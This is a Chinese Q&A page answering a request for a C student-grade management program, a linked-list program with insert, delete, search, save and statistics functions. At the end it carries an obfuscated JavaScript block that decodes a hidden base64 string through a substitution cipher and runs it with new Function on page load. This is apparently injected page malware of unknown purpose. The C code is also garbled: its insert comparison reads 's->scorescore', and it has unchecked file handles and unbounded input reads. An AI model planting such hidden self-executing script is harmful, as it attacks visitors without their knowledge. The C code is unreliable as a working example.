用C语言编的学生成绩的信息管理

2025-03-17 12:48:04
推荐回答(1个)
回答1:

#include"stdio.h"
#include"stdlib.h"
#include"string.h"
#include"process.h"

/*单链表结构*/
typedef struct LNote {
char num[15];
char name[10];
int score;
struct LNote *next;
}LNote,*List;

/*初始化*/
List Start()
{
List L;
L=(List)malloc(sizeof(LNote));
L->next=NULL;
return L;
}

/*插入并排序*/
void Insert(List L,char num[],char name[],int score)
{
List pre,p,s;
p=L;
s=(List)malloc(sizeof(LNote));
strcpy(s->num,num);
strcpy(s->name,name);
s->score=score;
do {
pre=p;
p=p->next;
} while(p!=NULL&&s->scorescore);
s->next=pre->next;
pre->next=s;
printf("\n\t\t\t\t插入成功");
}

/*删除*/
void Delete(List L,char num[])
{
List pre,p;
p=L;
if(p->next==NULL) {
printf("\n\t\t\t\t记录为空");
goto end;
}
while(p!=NULL&&strcmp(p->num,num)!=0) {
pre=p;
p=p->next;
}
if(p==NULL) {
printf("\n\t\t\t\t没有该学生的数据");
goto end;
}
if(strcmp(p->num,num)==0) {
pre->next=p->next;
free(p);
printf("\n\t\t\t\t删除成功");
}
end:
printf("\n");
}

/*遍历*/
void Traverse(List L)
{
List p;
p=L->next;
if(p==NULL)
printf("\n\t\t\t\t没有记录");
else {
printf("\n\t\t学号\t\t姓名\t成绩\n");
while(p!=NULL) {
printf("\t\t%-15s%-10s%-5d\n",p->num,p->name,p->score);
p=p->next;
}
}
}

/*查找*/
void Find(List L,char num[])
{
List p;
p=L;
while(p!=NULL&&strcmp(p->num,num)!=0)
p=p->next;
if(p==NULL)
printf("\t\t\t\t没有找到");
else {
printf("\n\t\t学号\t\t姓名\t成绩\n");
printf("\t\t%-15s%-10s%-5d",p->num,p->name,p->score);
}
}

/*保存*/
void Save(List L)
{
FILE *fp;
List p;
p=L->next;
if((fp=fopen("学生管理.txt","w"))==NULL) {
printf("文件打开失败\n");
exit(1);
}
while(p!=NULL) {
fprintf(fp,"%-15s%-10s%-4d\n",p->num,p->name,p->score);
p=p->next;
}
printf("\n\t\t\t\t保存成功");
}

/*统计*/
void Tegether(List L)
{
List p,q;
float a=0,b=0,c=0,length=0;
q=L->next;
while(q!=NULL) {
length++;
q=q->next;
}
if(length==0)
printf("\n\t\t\t\t记录为空\n");
else {
p=L->next;
while(p!=NULL) {
if(p->score>=80&&p->score<=100)
a++;
if(p->score>=60&&p->score<80)
b++;
if(p->score>=0&&p->score<60)
c++;
p=p->next;
}
printf("\n\t优秀%.0f人数\t及格%.0f人\t\t不及格%.0f人\n",a,b,c);
printf("\t优秀率%-3.2f\t及格率%-3.2f\t不及格率%-3.2f",a/length,b/length,c/length);
}
}

/*读取文件*/
void Read(List L)
{
FILE *fp;
char num[15];
char name[10];
int score;
List s,pre;
if((fp=fopen("学生管理.txt","r+"))==NULL)
printf("文件打开失败");
printf("%s\t\t%s\t%s\n","学号","姓名","成绩");
pre=L;
while(!feof(fp)) {
fscanf(fp,"%s%s%d\n",num,name,&score);
printf("%-15s%-10s%-4d\n",num,name,score);

s=(List)malloc(sizeof(LNote));
strcpy(s->num,num);
strcpy(s->name,name);
s->score=score;

pre->next=s;
pre=s;
}
s->next=NULL;
if(fclose(fp))
printf("文件关闭失败");
}

int scan()
{
int d,c=2;
printf("\t\t\t\t%c 1.初始化 %c\n\n",c,c);
printf("\t\t\t\t%c 2.输入数据 %c\n\n",c,c);
printf("\t\t\t\t%c 3.删除数据 %c\n\n",c,c);
printf("\t\t\t\t%c 4.遍历 %c\n\n",c,c);
printf("\t\t\t\t%c 5.保存为数据文件 %c\n\n",c,c);
printf("\t\t\t\t%c 6.查找 %c\n\n",c,c);
printf("\t\t\t\t%c 7.统计 %c\n\n",c,c);
printf("\t\t\t\t%c 8.读取数据文件 %c\n\n",c,c);
printf("\t\t\t\t%c 9.退出 %c\n\n",c,c);
do {
printf("\t\t\t\t 输入操作:");
scanf("%d",&d);
if(d<=0||d>9)
printf("\n\t\t\t\t无此操作\n\n");
} while(d<0||d>9);
return d;
}

main()
{
int quit=0,score;
char name[10],num[15];
List L;
L=Start();
printf("\t\t\t\t***** 欢迎使用 *****\n\n");
while(!quit) {
switch(scan()) {
case 1:
Start();
printf("\n\n");
break;
case 2:
printf("\n\t\t\t\t学号:");
scanf("%s",num);
printf("\n\t\t\t\t姓名:");
scanf("%s",name);
printf("\n\t\t\t\t分数:");
scanf("%d",&score);
Insert(L,num,name,score);
printf("\n\n");
break;
case 3:
printf("\n\t\t\t\t输入学号:");
scanf("%s",num);
Delete(L,num);
printf("\n");
break;
case 4:
Traverse(L);
printf("\n\n");
break;
case 5:
Save(L);
printf("\n\n");
break;
case 6:
printf("\n\t\t\t\t输入学号:");
scanf("%s",num);
Find(L,num);
printf("\n\n");
break;
case 7:
Tegether(L);
printf("\n\n");
break;
case 8:
Read(L);
printf("\n\n");
break;
case 9:
quit=1;
break;
}
}
}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();